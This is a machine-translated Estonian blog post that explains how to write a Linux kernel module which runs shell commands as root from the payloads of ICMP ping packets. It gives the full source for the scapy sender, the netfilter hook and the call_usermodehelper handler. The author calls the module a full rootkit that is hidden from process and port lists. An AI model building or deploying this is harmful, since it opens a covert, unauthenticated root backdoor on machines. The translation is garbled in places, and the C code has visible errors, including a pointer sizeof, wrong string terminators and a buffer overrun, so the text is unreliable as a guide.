Tuuma shell ICMP peal

Tuuma shell ICMP peal

TL;DR: kirjutan tuuma moodulit, mis loeb kÀsklusi ICMP koormusest ja tÀidab neid serveris isegi juhul, kui teie SSH on kokku kukkunud. KÔik kood on github.

Olge ettevaatlik! Kogenud C-programmeerijad vÔivad nutma puhkeda! VÔin eksida terminoloogias, kuid kÔik kriitika on teretulnud. Postitus on mÔeldud neile, kes omavad vÀhemalt ligikaudset ettekujutust C-programmeerimisest ja soovivad pilku heita Linuxi sisemusse.

Minu esimeses postituses artiklis mainiti SoftEther VPN-i, mis oskab varjata end teatud «tavaliste» protokollide all, sealhulgas HTTPS, ICMP ja isegi DNS. Kujutan ette ainult esimese tööpÔhimÔtet, kuna tunnen HTTP(S)-ga hÀsti, kuid pidin Ôppima ka ICMP ja DNS kaudu tunneldamist.

Tuuma shell ICMP peal

Jah, sain 2020. aastal teada, et ICMP-pakettidesse on vĂ”imalik sisestada suvaline koormus. Kuid parem hilja kui mitte kunagi! Ja kuna sellega on vĂ”imalik midagi teha, tuleb seda ka teha. Kuna igapĂ€evaselt kasutan enamasti kĂ€suviiba, sealhulgas SSH kaudu, tuli ICMP-shelli idee mulle esimesena. Ja et luua tĂ€isvereline bullshiti Đ±ĐžĐœĐłĐŸ, otsustasin kirjutada selle Linuxi moodulina keeles, millest mul on vaid ligikaudne arusaam. Selline shell ei ilmu protsesside nimekirja, seda saab laadida tuuma ja see ei asu failisĂŒsteemis, te ei nĂ€e midagi kahtlast kuulamisportide nimekirjas. Oma vĂ”imaluste poolest on see tĂ€ieĂ”iguslik rootkit, kuid loodan seda tĂ€iustada ja kasutada seda hĂ€daabi shellina, kui Load Average on liiga kĂ”rge, et SSH kaudu sisse logida ja vĂ€hemalt echo i > /proc/sysrq-trigger, et taastada juurdepÀÀs ilma taaskĂ€ivitamiseta.

VĂ”tame tekstiredaktori, pĂ”hioskused Pythonis ja C-s, Google'i ja virtuaalmasina mida ei ole kahju katki teha, kui kĂ”ik kokku kukub (valikuliselt — kohalik VirtualBox/KVM jne) ja minna!

Kliendi osa

Mulle tundus, et kliendi osa jaoks tuleb kirjutada umbes 80 rida skripti, kuid leidusid head inimesed, kes tegid töö minu eest kogu töö. Kood osutus ĂŒllatavalt lihtsaks, mahtudes 10 olulisse ritta:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Kasutus: {} IP "kÀsk"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Skript vÔtab vastu kaks argumenti, aadress ja koormus. Enne saatmist eelneks koormus vÔtmega run:, me vajatakse, et vÀlistada pakette juhusliku payloadiga.

Yda nĂ”uab privileege pakettide koostamiseks, seega tuleb skript kĂ€ivitada superkasutaja Ă”igustes. Ärge unustage anda tĂ€itmisĂ”igused ja installida ise scapy. Debiani puhul on olemas pakett, nimetusega python3-scapy. NĂŒĂŒd saab kontrollida, kuidas see kĂ”ik töötab.

KÀivitamine ja kÀsu vÀljund
morq@laptop:~\/icmpshell$ sudo .\/send.py 45.11.26.232 "Tere, maailm!"
Emissioon algab:
.Saadetud 1 pakett lÔpetatud.
*
Sai 2 paketti, saadi 1 vastus, jÀÀnud 0 paketti
###[ IP ]###
versioon = 4
ihl = 5
tos = 0x0
pikkus = 45
id = 17218
lipud =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
tĂŒĂŒp = echo-vastus
kood = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
koormus = 'kÀivita:Tere, maailm!

Nii see vÀlja nÀeb snifferis
morq@laptop:~\/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
KÀivitamine kasutajana "root" ja grupina "root". See vÔib olla ohtlik.
Salvestamine 'wlp1s0' peal
Raam 1: 59 bitti traadis (472 bitti), 59 bitti salvestatud (472 bitti) liidesel wlp1s0, id 0
Internetiprotokolli versioon 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
TĂŒĂŒp: 8 (Echo (ping) pĂ€ring)
Kood: 0
Kontrollsumma: 0xd603 [Ôige]
[Kontrollsumma olek: Hea]
Identifikaator (BE): 0 (0x0000)
Identifikaator (LE): 0 (0x0000)
JĂ€rjekorra number (BE): 0 (0x0000)
JĂ€rjekorra number (LE): 0 (0x0000)
Andmed (17 bitti)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Pikkus: 17]

Raam 2: 59 bitti juhtmes (472 bitti), 59 bitti salvestatud (472 bitti) liidesel wlp1s0, id 0
Interneti protokoll versioon 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
TĂŒĂŒp: 0 (Echo (ping) vastus)
Kood: 0
Kontrollsumma: 0xde03 [Ôige]
[Kontrollsumma olek: Hea]
Identifikaator (BE): 0 (0x0000)
Identifikaator (LE): 0 (0x0000)
JĂ€rjekorra number (BE): 0 (0x0000)
JĂ€rjekorra number (LE): 0 (0x0000)
[PĂ€ringu raam: 1]
[Vastuse aeg: 19.094 ms]
Andmed (17 bitti)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Pikkus: 17]

^C2 paketti salvestatud

Payload vastuspaketis ei muutu.

Ydamoodul

Debiani virtuaalmasinas kokku panemiseks on vajalik vĂ€hemalt tee ja linux-headers-amd64, ĂŒlejÀÀnud tĂ”mmatakse sĂ”ltuvustena. Artikkel ei too kogu koodi, saate selle kloonida GitHubis.

Hooki seadistamine

Esialgu vajame kahte funktsiooni, et moodulit laadida ja laadida vĂ€lja. VĂ€ljavĂ”tmise funktsioon ei ole kohustuslik, kuid siis ei ole vĂ”imalik rmmod teostada, moodul laaditakse vĂ€lja ainult vĂ€lja lĂŒlitamisel.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Mis siin toimub:

  1. TÔmmatakse kaks pealkirjafaili, et manipuleerida tegelikult mooduli ja netfilteriga.
  2. KÔik operatsioonid toimuvad lÀbi netfilteri, seal saab mÀÀrata hooke. Selleks tuleb deklareerida struktuur, milles hook seadistatakse. KÔige olulisem on mÀÀrata funktsioon, mis tÀidetakse hookina: nfho.hook = icmp_cmd_executor; jÔuan veel funktsiooni juurde.
    SeejÀrel mÀÀrasin paketi töötlemise hetke: NF_INET_PRE_ROUTING nÀitab, et pakett töödelda, kui see just kernelisse ilmus. Saate kasutada NF_INET_POST_ROUTING paketi töötlemiseks kernelist vÀljumisel.
    Kannan IPv4 filtrit: nfho.pf = PF_INET;.
    MÀÀran oma hookile kÔrgeima prioriteedi: nfho.priority = NF_IP_PRI_FIRST;
    Ja registreerin andmestruktuuri moona hookina: nf_register_net_hook(&init_net, &nfho);
  3. LÔppfunktsioonis eemaldatakse hook.
  4. Litsents on selgelt mÀÀratletud, et kompilaator ei nuriseks.
  5. Funktsioonid module_init() ja module_exit() mÀÀravad teised funktsioonid modulite initsialiseerimise ja lÔpetamise jaoks.

Payloadi eemaldamine

NĂŒĂŒd tuleb pĂŒsivalt andmed kĂ€tte saada, see osutus kĂ”ige keerulisemaks ĂŒlesandeks. SĂŒsteemis ei ole sisseehitatud funktsioone pĂŒsiva andmekogumi töötlemiseks, saab ainult erinevaid pealkirju rohkemate kĂ”rgema taseme protokollide langt tööteldes.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == ' ')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = ' ';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == ' ')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Mis toimub:

  1. Pidin lisama tÀiendavaid pealkirjade faile, seekord IP- ja ICMP-pealkirjade manipulatsiooniks.
  2. MÀÀran stringi maksimaalse pikkuse: #define MAX_CMD_LEN 1976. Miks just selline? Sest suurema pikkuse korral viskab kompilaator vea! Keegi juba soovitas mul tegeleda virna ja hunnikuga, kunagi kindlasti teen seda ja vÔib-olla isegi parandan koodi. Koheselt mÀÀran stringi, milles on kÀsk: char cmd_string[MAX_CMD_LEN];. See peab olema nÀhtav kÔikides funktsioonides, sellest rÀÀgin lÀhemalt punktis 9.
  3. NĂŒĂŒd on vaja initsialiseerida (struct work_struct my_work;) struktuur ja siduda see veel ĂŒhe funktsiooniga (DECLARE_WORK(my_work, work_handler);). Selleks, miks seda tehakse, rÀÀgin samuti ĂŒheksandas punktis.
  4. NĂŒĂŒd kuulutan vĂ€lja funktsiooni, mis ongi hĂŒbriid. TĂŒĂŒp ja vastu vĂ”etavad argumendid mÀÀratakse netfiltriga, meid huvitab ainult skb. See on soketi bufr, pĂ”histruktuur andmete salvestamiseks, mis sisaldab kogu teavet paketi kohta.
  5. Funktsiooni tööks on vaja kahte struktuuri ja mitmeid muutujaid, sealhulgas kahte iteratsiooni.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Saame minna loogika juurde. Mooduli tööks ei ole vaja ĂŒhtegi paketti peale ICMP Echo, seega töötleme bufrit sisseehitatud funktsioonide abil ja eemaldame kĂ”ik mitte-ICMP- ja mitte-Echo-paketid. Tagastamine NF_ACCEPT tĂ€hendab paketi aktsepteerimist, aga vĂ”ite ka pakette maha vĂ”tta, tagastades NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Ma ei ole kontrollinud, mis juhtub, kui IP-pealkirju ei kontrollita. Minu minimaalne C-teadmiste tase ĂŒtleb, et ilma tĂ€iendavate kontrollideta juhtub kindlasti midagi kohutavat. Olen Ă”nnelik, kui teid suudan sellesse kahtlusesse panna!

  7. NĂŒĂŒd, kui pakett on tĂ€pselt Ă”iget tĂŒĂŒpi, on vĂ”imalik andmed vĂ€lja vĂ”tta. Ilma sisseehitatud funktsioonita tuleb algselt saada nĂ€idik pĂŒsiva andmekogumi algusesse. Seda tehakse lĂ€bi ĂŒhe koha, peame vĂ”tma nĂ€idikule ICMP-pealkirja algusesse ja liigutama seda selle pealkirja suuruse vĂ”rra. KĂ”ik see toimub struktuuri icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Pealkiri peab lÔppema sama arvu andmetega, skb, seega saame selle tuumade kaudu vastavast struktuurist: tail = skb_tail_pointer(skb);.

    Tuuma shell ICMP peal

    Pilt on Àra vÔetud siit, vÔite lugeda rohkem soketi puhvri kohta.

  8. Saades nÀidikud alguse ja lÔpuni, saab andmed kopeerida rea cmd_string, kontrollida selle eesliide olemasolu run: ja kas visata pakett vÀlja selle puudumisel vÔi kirjutada rida uuesti, eemaldades selle eesliite.
  9. Noh, nĂŒĂŒd saab kutsuda veel ĂŒhe kĂ€itleja: schedule_work(&my_work);. Kuna sellise kutsungi korral lĂ€htestada parameetrit ei Ă”nnestu, peab kĂ€sk olema globaalne. schedule_work() paigutab funktsiooni, mis on seotud edastatud struktuuriga, ĂŒlesande planeerimise ĂŒldisse jĂ€rjekorda ja lĂ”petab, vĂ”imaldades mitte oodata kĂ€su lĂ”petamist. See on vajalik, kuna haak peab olema vĂ€ga kiire. Vastasel juhul ei juhtu mitte midagi vĂ”i saate kernel panic'i. Viivitus on surmaga sarnane!
  10. NĂŒĂŒd saab paketti vastava tagastusega vastu vĂ”tta.

Programmi kutsumine kasutajaruumi

See funktsioon on kĂ”ige arusaadavam. Selle nimi oli mÀÀratud DECLARE_WORK(), tĂŒĂŒp ja vastuvĂ”etavad argumendid ei huvita. VĂ”tame kĂ€surea ja edastame selle tĂ€ielikult shell'ile. Las ta lahendab parsimise, binaaride leidmise ja kĂ”ik muu.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. MÀÀrame argumendid stringide massiivi argv[]. Eeldan, et kĂ”ik teavad, et programmid tegelikult kĂ€ivitatakse just nii, mitte lihtsalt ĂŒhtse stringiga, kus on tĂŒhikud.
  2. MÀÀrame keskkonnamuutujad. Panin sisse ainult PATH minimaalse tee kogumiga, lootes, et kĂ”igil on need juba ĂŒhendatud /bin jot /usr/bin ja /sbin jot /usr/sbin. Teised teed on praktikas ĂŒsna harva olulised.
  3. Valmis, kĂ€ivitame! SĂŒsteemi funktsioon call_usermodehelper() vĂ”tab sisendiks. tee binaari, argumendimassiiv, keskkonnamuutujate massiiv. Siin eeldan samuti, et kĂ”ik mĂ”istavad, miks on vajalik edastada tee tĂ€itmise failile eraldi argumendina, aga vĂ”ite kĂŒsida. Viimane argument nĂ€itab, kas oodata protsessi lĂ”petamist (UMH_WAIT_PROC), protsessi kĂ€ivitamisest (UMH_WAIT_EXEC) vĂ”i mitte oodata ĂŒldse (UMH_NO_WAIT). On ka UMH_KILLABLE, ma ei hakka sellega pudima.

Kogumine

Kerneli moodulite kogumine toimub kerneli enda make raamistikuga. Kutse antakse tee eriti spetsiaalses kaustas, mis on seotud tuuma versiooniga (mÀÀratakse siin: KERNELDIR:=/lib/modules/$(shell uname -r)/build), ning mooduli asukoht antakse muutuja kaudu M argumentides. SihtmĂ€rkides icmpshell.ko ja clean kasutatakse tĂ€ielikult seda raamistikku. obj-m nĂ€itab objekti faili, mis muudetakse mooduliks. SĂŒntaks, mis muudab main.o ja icmpshell.o (icmpshell-objs = main.o) minu jaoks tundub mitte vĂ€ga loogiline, kuid olgu siis nii.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

kÔik: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Kogume: tee. Laadime: insmod icmpshell.ko. Valmis, saab kontrollida: sudo ./send.py 45.11.26.232 "date > /tmp/test". Kui teie masinas on tekkinud fail /tmp/test ja selles on pÀringu saatmise kuupÀev, tÀhendab, et olete kÔik Ôigesti teinud ja mina tegin kÔik Ôigesti.

KokkuvÔte

Minu esimene tuuma arenduse kogemus osutus palju lihtsamaks, kui ma ootasin. Isegi ilma C-arenduse kogemuseta, toetudes kompilaatori vihjetele ja Google'i tulemustele, suutsin kirjutada töötava mooduli ja tunda end tuumahĂ€kkerina, samuti skript-lasteina. Lisaks kĂŒlastasin Kernel Newbies kanalit, kus soovitati mul kasutada schedule_work() asemel kutset call_usermodehelper() otse enda hookis ja hĂ€bistas mind Ă”igustatult, kahtlustades petmist. Saja koodi rida maksis mulle kuskil nĂ€dal aega vabast ajast. Edukas kogemus, mis purustas minu isikliku mĂŒĂŒdi sĂŒsteemse arenduse uskumatust keerukusest.

Kui keegi on nÔus Githubis koodikontrolli tegema, oleksin tÀnulik. Olen peaaegu kindel, et tegin palju tobedaid vigu, eriti stringide töötlemises.

Tuuma shell ICMP peal

Allikas: habr.com

Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster